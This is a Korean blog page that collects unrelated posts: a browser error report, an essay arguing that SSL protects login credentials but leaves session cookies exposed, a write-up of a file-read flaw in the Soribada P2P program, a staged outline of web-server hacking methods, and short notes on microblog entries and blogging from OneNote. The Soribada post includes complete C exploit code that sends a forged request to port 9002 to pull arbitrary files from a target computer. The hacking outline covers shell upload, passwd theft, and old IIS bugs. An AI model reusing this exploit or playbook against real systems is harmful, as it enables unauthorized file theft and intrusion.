나말고 다른 사람도 많이 리포트 했겠지만, 혹시나 하는맘에... 글고 마땅히 쓸곳도 없고.. 그래도 블로그가 가장 만만한...ㅋ
간만에 올블 홈페이지를 갔는데 Javascript에러가 난다.
환경은 XP Pro sp3 + IE8..
Windows 7 Besta 7000의 IE8 Besta에서는 오류가 없는데...;;
아래 이미지에 표시된 텝부분에 마우스 올리면 오류 메시지가 보임.
.. 이번엔 SSL 의 허와실이 아닌 실과허를 알아보겠습니다.
SSL 이란 Secure Socket Layer 의 약자로 웹에서 클라이언트와
서버가 정보를 주고 받을때 데이터를 암호화하여 전송하는 것을
말합니다. SSL 을 사용하면 해커가 패킷을 엿보게 되더라도 암호화되어
있어서 가지고 있어봤자 소용이 없습니다.
SSL 의 목적은 무엇일까요? SSL 그 자체는 서버의 보안성에 한단계
높이는 일을 하진 않습니다. 방화벽같이 특정 패킷을 차단하지도 않고
IDS 처럼 감시하지도 않죠.
단지, 해커가 사용자와 서버 사이의 데이터 패킷을 엿보는 것이 가능할때
엿보더라도 암호화 되어 있어서 아무것도 알수 없도록 하는 것이죠.
하지만 이 방법에는 약점이 있습니다. 보통 우리가 SSL 을 사용할때는
처음 로그인시에 ID 와 PASSWORD 를 확인할때만 주로 쓰이게 됩니다.
왜 전체에다가 SSL 을 쓰지 않냐면 속도도 느려질뿐만 아니라 감춰야 하는
데이터중 가장 큰 것은 password 같은 민감한 부분이기 때문입니다.
보안 접속과 일반 접속은 별 차이가 없습니다. 접속할때 전송하는 패킷이
암호화 되어있느냐 안되어있느냐에 차이가 있는 것이지 인증이 완료
된후에 클라이언트에 세팅하는 쿠키 값에는 보안 접속이나 일반 접속이나
차이가 없다는 이야기죠. (뭐 굳이 차이점이 있다면 보안 접속의 쿠키에는
'나 보안 접속했다' 라는 명시를 할수 있는 쿠키를 새로 하나 추가해
준다는 것정도)
그럼 어디서 취약점이 발생하느냐.. 위에서 제가 말씀드렸죠. 한번 더
말하겠습니다..
SSL 은 해커가 사용자와 서버 사이의 데이터 패킷을 엿보는 것이 가능할때
엿보더라도 암호화 되어 있어서 아무것도 알수 없도록 하는 것이죠.
id 와 password 만 암호화된 패킷일 뿐이지 서버가 우리에게 세팅해주는
쿠키값같은 것들은 보안접속이나 일반 접속이나 똑같습니다. 즉, 해커는
쿠키값만 가지고 원하고자 하는 나쁜짓을 할 수 있으므로 암호화 되서
날라간 id, password 를 못봤다고 해서 아쉬울게 없다는 이야기입니다.
(쿠키를 가지고 하는 해킹에 대해서는 제가 다른 문서에서 이미 많이
설명을 하였습니다. 읽어보시길..)
이런 방법의 보안 접속은 겉포장만 잘 쌓여져 있는 것입니다.. 앞으로
많은 체계 개선이 필요할 것입니다.
주로 메일 서비스를 하는 곳에서 이러한 취약성이 드러나 있습니다.
그럼 이만.. 모두 빠빠이.. 아.. 이제 자야지..
안녕하세요.
(먼저 이 문서를 보고 악의적인 행동을 할시에 일어나는 모든 행동은
저와 무관하다는 것을 명시함.)
소리바다의 취약점에 대해서 알아보겠습니다. 소리바다는 mp3 공유
프로그램으로 p2p 방식 입니다. peer to peer 로 사용자와 사용자를
연결하는 방식입니다.
소리바다를 사용시 진행되는 방식을 다음과 같습니다.
1. 소리바다 exe 프로그램 구동
2. 소리바다 로그인
3. 찾는 노래 키워드 검색
4. 소리바다에 연결된 다른 컴퓨터들한테 키워드 전송
5. 다른 컴퓨터들이 나에게 키워드에 맞는 정보를 보내줌
6. 정보를 토대로 다시 그 컴퓨터 접속하여 노래를 가져옴
이렇습니다.
예를 들어 우리가 A 컴퓨터를 이용하고 있고 TTL 이라는 노래를
검색한다고 하면 B 컴퓨터는 우리에게 TTL 에 맞는 정보를 보냅니다.
'나한테 TTL.mp3 가 있다. 이 파일은 c:\mp3\ttl.mp3 이고 파일 크기는
4000 이고 어쩌고 저쩌고 하다.'
우리는 이 정보를 토대로 다시 B 컴퓨터에 접속합니다.
'너의 c:\mp3\ttl.mp3 파일을 가지러 왔다. 내놔라'
이해를 쉽게하기 위해 실제로 우리가 B 컴퓨터 접속하여 어떻게
정보를 요청하는지 알아보겠습니다.
GETMP3
Filename: c:\mp3\ttl.mp3
PortM: 9004
Username: ffjfjfjfj
GETMP3 는 mp3 를 가져가겠단 의미이고 filename 은 경로입니다.
port 는 파일 전송에 이용할 포트를 뜻하는것 같고 username 은
소리바다 id 를 말합니다.
실질적으로 이런 내용이 전송되는 포트는 목적지 컴퓨터의 9002 포트
번호입니다. 소리바다를 실행하면 9002 포트가 열리게 되어있죠.
우리가 위와 같은 내용을 상대방에게 전달할때 Filename 을 임의로
조작한다면 우리가 원하는 파일을 가져올수 있습니다. 예를 들자면
GETMP3
Filename: c:\autoexec.bat
PortM: 9004
Username: ffjfjfjfj
이렇게 보내면 되겠죠?
위의 이야기를 보고 의문이 가시는 분도 있을 겁니다.
'그럼 검색키워드에 그냥 autoexec 로 검색하면 B 컴퓨터가
c:\autoexec.bat 파일의 정보를 나한테 보내주지 않나?'
아닙니다. 소리바다 설정 메뉴중 공유할 폴더를 선택하는 부분있죠?
그 폴더 안에 있는 것들중 mp3 만 검색을 하기 때문에 보내주지 않습니다.
이와 유사한 프로그램은 이런 류의 버그가 많습니다. 명령어 실행이라든지
여러가지를 조작할수가 있죠. 거의 모든 국내 프로그램들이 말이죠..
대단한 기술은 아니지만 해킹은 창의적이기 때문에 이런 간단한 방법으로도
해킹이 가능합니다.
exploit 을 같이 첨부하겠습니다. exploit 에서 쉘코드처럼 보이는 것은
쉘코드가 아니라 위에서 말한 GETMP3 이런 것들입니다. 그냥 고치기 귀찮
아서 패킷 그대로 옮겨적었습니다.. 소스가 굉장히 지저분합니다. 양해
해주세요. 만약 일반 txt 형 파일이 아닌 2 진 파일을 받을 경우에는
소스를 수정해야 할 겁니다. (exploit에 overflow 취약점이 있군요.. 캬캬)
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 9002
main (int argc, char *argv[]) {
char cmd[500]=
"\x47\x45\x54\x4d\x50\x33\x0d\x0a\x46\x69\x6c\x65\x6e\x61\x6d\x65\x3a\x20";
int sockfd, a=strlen(cmd), b, count, bbb;
char cmd2[]=
"\x0d\x0a\x50\x6f\x72\x74\x4d\x3a\x20\x39"
"\x30\x30\x34\x0d\x0a\x55\x73\x65\x72\x6e\x61\x6d\x65\x3a\x20"
"\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x61\x6b\x6e"
"\x0d\x0a\x0d\x0a";
char buf[1000];
struct hostent *he;
struct sockaddr_in their_addr;
if(argc<4) {
printf("usage: %s drivename filename targetip\n\n", argv[0]);
printf("ex> %s c autoexec.bat beist.org\n", argv[0]);
printf("ex2> %s c document\\haha.txt beist.org\n\n", argv[0]);
printf("made by beist. http://beist.org, beist@hanmail.net\n");
printf("the best cf model of korea is Eun-Kyung Im (TTL)\n");
printf("Wowcode Team in WOWhacker.com\n");
exit(-1);
}
if(strlen(argv[1]) >1) {
printf("드라이브 명을 정확히 입력하세요.\n");
exit(-1);
}
if ((he=gethostbyname(argv[3])) == NULL) {
herror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8);
if (connect(sockfd, (struct sockaddr *)&their_addr, \
sizeof(struct sockaddr)) == -1) {
perror("connect");
exit(1);
}
cmd[a++]=argv[1][0];
cmd[a++]='\x3a';
cmd[a++]='\x5c';
b=strlen(argv[2]);
for(count=0;count<b;count++)
cmd[a++]=argv[2][count];
strcat(cmd, cmd2);
send(sockfd, cmd, strlen(cmd), 0);
recv(sockfd, buf, 1000, 0);
for(bbb=0;bbb<strlen(buf);bbb++)
printf("%c", buf[bbb]);
sleep(2);
recv(sockfd, buf, 1000, 0);
for(bbb=0;bbb<strlen(buf);bbb++)
printf("%c", buf[bbb]);
printf("당신이 보낸 명령어 : \n%s", cmd);
}
웹해킹의유형.txt |
웹 해킹의 유형
(수정중인 작업이다.)
웹 해킹의 유형에 대해서 크게 나누어 보았다. 말 그대로 크게
나눈 것이고 실제로 웹 해킹에는 많은 변수가 있다. 상황마다 틀리다.
해킹은 창의성이 생명이다.
linux 일 경우
-1-
일단계. 게시판으로 파일을 업로드한다.
이단계. 업로드한 파일을 이용하여 자신의 컴퓨터로 term 을 display
시킨다.
삼단계. Nobody (주로 그렇다.) 권한의 쉘을 이용하여 로컬에서
루트 따는 것을 시도한다.
-2-
일단계. 버그를 가진 게시판을 이용해 passwd 파일을 보거나
중요 스크립트를 읽은 후 패스워드를 알아낸다.
이단계. 패스워드를 알아내면 할 수 있는 것들이 많아진다. 이를
이용하여 텀을 띄우기도 할 수가 있고, 페이지를 변경시킬
수도 있다.
-3-
일단계. 잘못된 cgi 스크립트를 찾는다.
이단계. 찾았다면 이를 이용해 passwd 파일을 보거나 중요 스크립트를
읽은 후 패스워드를 알아낸다.
삼단계. 패스워드를 알아내면 할 수 있는 것들이 많아진다. 이를
이용하여 텀을 띄우기도 할 수가 있고, 페이지를 변경시킬
수도 있다.
NT 일 경우
-1-
일단계. 유니코드 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.
-2-
일단계. Null.htw 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.
-3-
일단계. Msadc 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.
-4-
일단계. 게시판을 이용하여 파일을 업로드한다.
이단계. 파일에서 여러가지 조작을 가해 트로이성 프로그램을 실행시킨다.
삼단계. 트로이성 프로그램의 기능을 이용하여 시스템을 제어할 수 있다.
-5-
일단계. %cc, +.htr 등을 이용한다
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.
이 글은 gleam님의 2008년 3월 4일의 미투데이 내용입니다.
이 글은 gleam님의 2008년 2월 14일의 미투데이 내용입니다.
이 글은 gleam님의 2008년 1월 31일의 미투데이 내용입니다.
이 글은 gleam님의 2008년 1월 30일의 미투데이 내용입니다.
이 글은 gleam님의 2008년 1월 28일의 미투데이 내용입니다.
이 글은 gleam님의 2008년 1월 25일의 미투데이 내용입니다.
이 글은 gleam님의 2008년 1월 24일의 미투데이 내용입니다.
Office의 원 노트를 이용해서도 블로그 포스팅이 가능 하다.
방법은 불타는여우님의 포스팅을 기본으로 한다.
MS 오피스로 티스토리에 글 쓰기
원본 위치 <http://thinkfree.tistory.com/115>
위의 그림과 같이 파일 > 보내기 > 블로그를 선택하거나 페이지에서 마우스오른쪽 버튼을 클릭하여 블로그에 게시 하기를 선택하면
아래 그림과 같이 MS-Word 창이 열리고 게시 버튼을 이용하여 블로그로 포스팅이 가능 하다.
이 글은 gleam님의 미투데이 2007년 10월 18일 내용입니다.
이 글은 gleam님의 미투데이 2007년 10월 17일 내용입니다.
이 글은 gleam님의 미투데이 2007년 10월 5일 내용입니다.